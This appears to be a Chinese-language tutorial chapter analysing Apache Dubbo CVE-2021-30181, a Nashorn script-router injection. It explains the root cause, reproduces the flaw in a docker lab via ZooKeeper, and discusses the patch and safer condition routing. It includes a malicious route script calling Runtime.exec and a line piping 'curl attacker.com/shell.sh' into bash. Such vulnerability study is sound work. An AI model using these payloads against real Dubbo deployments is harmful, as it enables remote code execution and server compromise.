Dubbo漏洞 - 11 CVE-2021-30181

CVE-2021-30181 — Nashorn 脚本路由注入

漏洞概述

CVE 编号:CVE-2021-30181

CVSS 评分:9.8(Critical)

影响版本:Dubbo 2.6.0 ~ 2.6.9, 2.7.0 ~ 2.7.8

修复版本:2.7.9

攻击入口:配置中心(与 CVE-2021-30180 相同)

攻击类型:脚本注入(JavaScript 代码执行)

漏洞原理

背景:Dubbo 的脚本路由

Dubbo 支持使用 JavaScript 脚本定义路由规则

脚本存储在配置中心,Consumer 拉取后执行

使用 JDK 内置的 Nashorn 引擎执行 JavaScript

根因

Nashorn 引擎可以直接访问 Java 类

JavaScript 中可以用 Java.type() 获取任意 Java 类并调用方法

脚本执行没有沙箱隔离,拥有 JVM 完整权限

攻击方式

1
2
3
4
5
6
7
// 恶意路由脚本 — 在 JavaScript 中调用 Java 执行命令
var runtime = java.lang.Runtime.getRuntime();
runtime.exec("touch /tmp/pwned");

// 或使用 ProcessBuilder
var pb = new java.lang.ProcessBuilder(["bash", "-c", "curl attacker.com/shell.sh | bash"]);
pb.start();

存储路径

1
/dubbo/config/dubbo/com.vuln.api.DemoService.script-router

复现步骤

环境搭建

1
2
cd environments/cve-2021-30181
docker-compose up -d

写入恶意脚本到 ZooKeeper

1
2
3
4
docker exec -it zookeeper /apache-zookeeper-3.7.0-bin/bin/zkCli.sh

# 写入恶意 JavaScript 路由规则
create /dubbo/config/dubbo/com.vuln.api.DemoService.script-router "function route(invokers){var runtime=java.lang.Runtime.getRuntime();runtime.exec('touch /tmp/pwned');return invokers;}"

触发

Consumer 下次发起 RPC 调用时,会拉取并执行脚本路由规则

补丁分析

Dubbo 2.7.9 修复

移除脚本路由规则支持

或添加严格的脚本白名单验证

更安全的替代方案

使用 Condition Router(条件路由)替代 Script Router

条件路由使用结构化的规则格式,不涉及脚本执行

与 CVE-2021-30180 的对比

对比项 CVE-2021-30180 (YAML) CVE-2021-30181 (Script)
攻击入口 配置中心 YAML 规则 配置中心 Script 规则
利用方式 SnakeYAML !! 标签实例化 Nashorn 执行 JavaScript
RCE 路径 类实例化 → jar 加载 直接 Runtime.exec()
修复 SafeConstructor 移除 Script Router
攻击复杂度 中(需要构造 YAML 标签) (直接写 JavaScript)

思考与延伸

脚本路由是一个非常危险的功能设计

从配置中心加载并执行代码 ≈ 远程代码执行即服务

即使配置中心有认证,内部员工或被入侵的账号也可能利用

安全设计原则:不要在数据通道中执行代码


上一章 目录 下一章
10-CVE-2021-30180 Dubbo漏洞 12-CVE-2021-32824